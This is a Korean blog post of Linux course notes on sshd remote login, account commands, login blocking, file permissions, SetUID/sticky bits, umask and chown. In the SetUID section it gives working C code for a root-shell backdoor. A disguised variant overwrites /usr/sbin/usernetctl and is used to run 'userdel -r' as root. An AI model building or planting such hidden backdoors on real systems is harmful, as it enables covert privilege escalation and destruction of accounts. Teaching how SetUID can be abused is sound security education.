본문 바로가기

Dev/Dev:: Linux

[Day004] Linux - 원격 로그인, 계정, 권한

 

 ● 원격로그인

  - 서버에서 로그인하는 것이 아니라 네트워크를 통해 외부에서 로그인 하는 기능

  - 서버에서 ssh 프로그램을 실행하여 원격로그인 할 수 있도록 만들어 준다.

     => sshd를 실행하여 클라이언트가 네트워크 로그인 할 수 있도록 해야된다.

 

  - sshd 실행 방법

     1) /etc/ssh/sshd_config 파일을 이용하여 환경 설정 가능

        => root 계정으로 원격로그인 허용 금지 되도록 설정하는 것이 좋다.

        ]# vi /etc/ssh/sshd_config
        ....
        PermitRootLogin  no    => 39라인 : 앞에 #를 제거하고 yes를 no로 변경

 

 2) sshd 재실행  => 이미 실행되어 있기 때문에 재실행(새로운 환경설정 파일을 읽어 실행 하기 위해)

         ]# service sshd restart  

 3) sshd는 부팅시 자동 실행된다.

         ]# chkconfig --list | grep sshd        =>  런레벨에 따른 sshd 실행 유무 확인
         런레벨 5번 확인  =>  활성(부팅시 자동 실행)

 

  - 클라이언트는 원격접속 프로그램을 이용하여 원격로그인 할 수 있다.

     => putty, SecureCRT등

     => 서버ip 주소 및 port번호를 입력하여 원격접속 후 일반계정으로 로그인

 

 

 

 

 

 

 

 

     => su 명령을 이용하여 계정을 변경할 수 있다.

       형식)  ]$ su 계정명    => 다른 계정으로 변경(암호 입력)
          
                                      => 계정명이 생략되면 관리자로 인식

       ex)  ]$ su          =>  불완전한 계정 변경
             password : 관리자 비밀번호 입력
 
             ]# useradd  => 명령이 실행 되지 않는다(명령을 찾을 수 없다.)

              ※ su 명령만 사용하면 계정의 이름만 변경되고 리눅스 환경은 그대로 적용

             ]# exit      =>  su 종료

             ]$ su -      => 완전한 계정 변경(계정명 및 리눅스 환경이 완벽하게 계정에 맞게 변경)
             password : 관리자 비밀번호 입력

             ]# useradd   => 실행

 

  - 현재 로그인 계정 확인

     ]# whoami      => 현재 작업중인 계정 확인

     ]# who am i    => 실제 로그인된 계정 확인

     ]# id              => 작업 계정의 UID 확인

  - 현재 로그인 계정 전체 정보 확인

     ]# users   => 로그인 계정명 확인 

     ]# who    =>  현재 접속중인 계정 확인

     ]# w       =>  현재 접속중인 계정 확인(현재 실행중인 프로그램 확인)

     ]# finger    =>  다른 서버에 접속 중인 계정 확인

 

 

  - 계정의 마지막 로그인 날짜 확인  =>  휴면계정 파악

     ]# lastlog  

  - 로그인 계정에게 메세지 전달

     ]# wall     =>  현재 로그인된 모든 사용자에게 메세지를 전달(관리자)
     메세지
     ...
     ^d      =>  입력 종료
 
        ※  ]# wall 메세지   => 간단한 메세지 전달

     ]# write  계정명     =>  특정 계정에게 메세지를 전달
     메세지         => 엔터를 누르면 메세지 전달
     ...
     ^C        =>  명령 취소
 
     ]# mesg
     is  y             =>   y : write 사용 허용     n : write 사용 불가

     ]# mesg n    => write 사용 불가 변경

  - 계정 로그인 금지 방법

     1) 특정 계정 로그인 금지 방법

        ]# vi /etc/passwd       =>  계정 정보를 변경하여 로그인 금지
        ....
        kim:x:501:501::/home/kim:/bin/bash
                                             --------
                                                  └ /bin/false  변경 
  
          또는 계정명 앞에 *를 붙인다.

        ]# vi /etc/shadow     =>  계정의 암호를 비활성화 하여 로그인 금지
        kim:!$1$0l726noI$h1h8JBagcQx1yDAK44FjF.:15953:0:30:7:5:16070:
             -
             └ 암호 앞에 !를 추가

     2) 전체 계정 로그인 금지

        => /etc/nologin 파일만 생성하면 된다.

        => root 계정만 로그인 가능


● 리눅스 권한 관리

   - 리눅스는 파일에 권한이 부여되어 있다.  =>  파일 권한

   - 파일 권한 확인

     ]# ls -l                          ┌ 소유그룹(그룹명)
     drwxr-xr-x   2    root     root     4096  9월  3 04:23 Desktop
       -------         ---     ---
          └ 파일 권한   └ 소유자(계정)

   - 권한 해석  =>  rwx 권한이 3번 반복(권한이 없는 경우 -로 표시)

    =>      rwxrwxrwx  
              (1) (2) (3)

       1) 소유자 계정에게 적용되는 파일 권한  

       2) 소유그룹에 포함된 계정에게 적용되는 파일 권한

       3) 소유자 및 소유그룹의 계정이 아닌 나머지 계정에게 적용되는 파일 권한
 
   - 권한 종류
                                      파일                             디렉토리(명령 사용 유무)
     
      r (read)           파일 내용 확인 유무         읽기 관련 명령 사용 유무(ls, cat, more, grep,...)

      w(write)          파일 내용 수정 유무         쓰기 관련 명령 사용 유무(mkdir, rm, cp, mv,...)

      x(execute)      파일 내용 실행 유무          접근 권한(cd)

     ※ 파일에는 w 권한을 부여하기 위해 반드시 r 권한을 부여한다.

     ※ 디렉토리는 r 또는 w 권한을 부여하기 위해 반드시 x 권한을 부여한다. 

   - 파일 권한 변경  =>  관리자 또는 파일 소유자만 변경 가능

      형식)  ]# chmod  변경옵션  파일명(디렉토리명)

      => 변경 옵션

        1) 변경 적용 대상 :   u(소유자권한)  g(소유그룹권한) 

                                    o(나머지권한)  a(모든계정권한)
 
        2) 권한 부여 또는 삭제 유무  :   +(권한부여)    -(권한삭제)  =(권한변경)

        3) 권한 종류  :  r(read)  w(write)  x(execute)  => 동시 적용 가능

    ex) ]# mkdir aaa

          ]# ls -l
          ...
          drwxr-xr-x   2 root root     4096 10월  3 12:07 aaa

          ]# chmod g+w aaa   =>  aaa 디렉토리의 소유그룹에 w권한 추가

          ]# ls -l
          ...
          drwxrwxr-x   2 root root     4096 10월  3 12:07 aaa

          ]# chmod o-rx aaa   =>  aaa 디렉토리의 나머지에 rx권한 삭제

          ]# ls -l
          ...
          drwxrwx---   2 root root     4096 10월  3 12:07 aaa

          ]# chmod g=rx,o=r aaa
 
          ]# ls -l
          ...
          drwxr-xr--   2 root root     4096 10월  3 12:07 aaa

    ex)  lee 및 park 계정 생성

         lee계정 :  /home/lee]$ cd /home/park     =>  허가 거부(/home/park 디렉토리의 권한 때문)

              ※ /home/park  =>  drwx------ 3 park park  4096 10월  3 12:13 park

                   => lee  계정이 /home/park 디렉토리에 접근하기 위해 park 계정이 권한 변경
              
         park 계정  :  /home/park]$ chmod  o+x  /home/park  => x권한 부여
         
         lee계정 :  /home/lee]$ cd /home/park    =>  가능
                    
                      /home/park]$ ls -l     =>  허가 거부(r권한이 없기 때문) 

         park 계정  :  /home/park]$ chmod o+r /home/park  => r권한 부여

         lee계정 :  /home/park]$ ls -l     =>  가능

         ※ 일반계정의 홈디렉토리는 다른 계정들에게 w 권한을 부여하지 않는것을 권장

   - 권한의 8진수 표기법

      =>  r  :  4     w  :  2      x  :  1      -   :   0

      ex)   rwxr-xr-x    =>    755
 
             rw-r-----   =>   640

             rwx------   =>   700

             r-x--x--x    =>   511


  - 8진수 표기법을 이용한 권한 변경

     형식)  ]#  chmod   변경권한   파일명(디렉토리명)

     ex)    ]# ls -l
             ...
             drwxr-xr-x   2 root root     4096 10월  3 12:07 aaa

             ]# chmod 700 aaa

             ]# ls -l
             ...
             drwx------   2 root root     4096 10월  3 12:07 aaa             

  문제) wall 명령을 관리자만 사용할 수 있도록 권한을 변경하세요.

   ]# whereis wall
   wall: /usr/bin/wall /usr/share/man/man1/wall.1.gz

   ]# ls -l /usr/bin/wall
   -r-xr-sr-x 1 root tty 10484  9월 18  2008 /usr/bin/wall

   ]# chmod 500 /usr/bin/wall

   ]# ls -l /usr/bin/wall
   -r-x------ 1 root tty 10484  9월 18  2008 /usr/bin/wall


● 특수권한

   SetUID(4000)  --S------  :  프로그램을 실행(x) 할 경우 실행계정을 프로그램의 소유자 계정으로 일시 변경

   SetGID(2000)  -----S---  :  프로그램을 실행(x) 할 경우 실행계정을 프로그램의 소유그룹의 계정으로 일시 변경

   Sticky(1000)   --------T  :  쓰기(w) 권한을 가진 디렉토리에 사용하면 적용된 디렉토리의 삭제는 소유자만 가능하도록 만들어 주는 기능

    ※ 특수권한이 x권한과 중복된 경우 소문자로 표시

   ex)  ]# whereis passwd
          passwd: /usr/bin/passwd /etc/passwd /usr/share/man/man1/passwd.1.gz /usr/share/man/man5/passwd.5.gz

          ※ passwd 명령 : 계정의 비밀번호를 변경하는 명령 => /etc/passwd 파일의 내용을 수정하는 명령
             
                =>  관리자 및 일반계정 모두 사용하는 명령

          ]# ls -l  /usr/bin/passwd
           -rwsr-xr-x 1 root root 22960  7월 17  2006 /usr/bin/passwd
              (4755)

            => 모든 계정이 passwd 명령을 실행 할 수 있다.

            => SetUID 권한에 의해 명령을 실행하는 계정은 일시적으로 소유자계정(root)로 변경

          ]# ls  -l   /etc/passwd      =>  계정 정보를 저장하고 있는 파일
           -rw-r--r-- 1 root root 1954 10월  3 12:13 /etc/passwd
              (644) 

            => /etc/passwd 파일은 root 계정만 변경 가능하다.
  
   - setUID 권한을 가지고 있는 파일은 반드시 관리자가 숙지하지고 있어야 된다.

      => SetUID 권한은 보안에 위험하므로 SetUID 권한을 부여하지 않는 것 좋다.

     ]# find / -type f -perm +4000 -exec ls -l {} \;  >  setuid.txt       
 
      => SetUID 권한을 가지고 있는 파일을 setuid.txt에 저장



  ※ 간단한 backdoor 프로그램 작성

      ]# vi backdoor.c
      #include <stdio.h>

      int main() {
            setuid(0);
            setgid(0);
            system("/bin/bash");
            return 0;
      }
  
      ]# gcc -o backdoor backdoor.c    =>  컴파일 후 실행파일을 생성

      ]# chmod 4755 backdoor   =>  파일 소유자 : root

     => kim 계정 로그인

      ]$ ./backdoor

      ]# source /etc/profile     =>  관리자 환경 적용

  ※ backdoor 프로그램을 숨겨서 실행하는 방법

      ]# vi backdoor2.c
      #include <stdio.h>  

      int main(int argc,char *argv[]) {    
             char exec[100];
             setuid(0);
             setgid(0);
             sprintf(exec,"%s 2>/dev/null",argv[1]);
             system(exec);
             printf("usage: usernetctl <interface-config> <up|down|report>\n");
     }

     ]# gcc -o backdoor2 backdoor2.c

     ]# chmod 4755 backdoor2

     ]# mv backdoor2 /usr/sbin/usernetctl     =>  Overwrite

     => kim 계정 로그인   

     ]$ /usr/sbin/usernetctl "/usr/sbin/userdel -r kkk"

  ex)  sticky 권한을 적용한 공유디렉토리 생성

     관리자     ]# mkdir /home/share

                   ]# chmod 777 /home/share

     lee 계정   ]$ cd /home/share

                   ]$ mkdir leeData

    park 계정  ]$ cd /home/share

                   ]$ rm -rf leeData     =>  삭제 가능

     관리자     ]# chmod 1777 /home/share

     lee 계정   ]$ cd /home/share

                   ]$ mkdir leeData   

    park 계정  ]$ cd /home/share

                   ]$ rm -rf leeData     =>  sticky 권한에 의해 삭제 불가능


● 파일 및 디렉토리 생성 권한

   디렉토리   777                                       755
                           -    022 (umask)   =>  
   파일         666                                       644

     => 파일 및 디렉토리는 umask 값에 의해 최초 생성 권한이 적용된다.

   ex)  ]# mkdir aaaDir

         ]# touch aaaFile

          ]# ls -l
          drwxr-xr-x 2 root root 4096 10월  3 15:36 aaaDir     (755)
          -rw-r--r-- 1 root root    0 10월  3 15:36 aaaFile     (644)

          ]# umask
          0022

          ]# umask  002      =>  umask 변경(현재 로그인 쉘에만 적용)

          ]# mkdir bbbDir  

          ]# touch bbbFile   

          ]# ls -l
          drwxrwxr-x 2 root root 4096 10월  3 15:40 bbbDir    (775)
          -rw-rw-r-- 1 root root    0 10월  3 15:40 bbbFile    (664)

   ※ 계정 생성시 자동생성된 홈디렉토리의 생성 권한 제어

       ]# useradd kang

       ]# ls -l /home
       drwx------ 3 kang kang  4096 10월  3 15:44 kang     (700)
 
       ]# vi /etc/login.defs
       ....
       UAMSK    077         =>  홈디렉토리 생성 권한 : 700
 
                     076         =>   변경 : 홈디렉토리 생성 권한 : 701

       ]# useradd choi

       ]# ls -l /home
       drwx-----x 3 choi choi  4096 10월  3 16:00 choi     (701)


● 파일(디렉토리) 소유자 및 소유그룹 변경

  - 관리자만 사용 가능한 명령

  형식)  ]# chown [-R]  소유자.소유그룹  파일명(디렉토리명)

                =>  소유자 및 소유그룹 변경

 
           ]# chown [-R]  소유자  파일명(디렉토리명)

                =>  소유자 변경

           ]# chgrp [-R]  소유그룹  파일명(디렉토리명)

                =>  소유그룹 변경

         ※ -R : 디렉토리 소유자 및 소유그룹 변경 시 사용하며 디렉토리 하위 목록들도 변경

  ex) 관리자  ]# userdel park   =>   계정만 삭제

                  ]# ls -l /home    =>  park 디렉토리 존재(소유자 및 소유그룹이 존재하지 않는다.)

     lee 계정  ]$  cd /home/park    =>  디렉토리 권한이 700이면 접근 오류 발생

                  => 관리자에게 권한 변경을 요청

      관리자   ]# chown -R  lee.lee /home/park    =>  소유자 및 소유그룹 변경


문제) /home/public 디렉토리를 생성하여 scott, james, john 계정만
       접근하여 모든 명령을 사용할 수 있도록 권한을 부여하세요.
       단, 삭제는 파일(디렉토리) 소유자만 가능하도록 권한을 부여하세요.

  => 계정, 그룹, 권한, 소유자(소유그룹) 관련 명령 활용

 

'Dev > Dev:: Linux' 카테고리의 다른 글

[Day006] Linux 6일차 - 디스크 용량 제한  (0) 2013.09.10
[Day005] Linux 5일차  (0) 2013.09.10
[Day003] Linux 3일차 계정 및 그룹  (0) 2013.09.05
[Day003] Linux 3일차 - vi 문서편집기  (0) 2013.09.05
[Day002] Linux 2일차  (0) 2013.09.04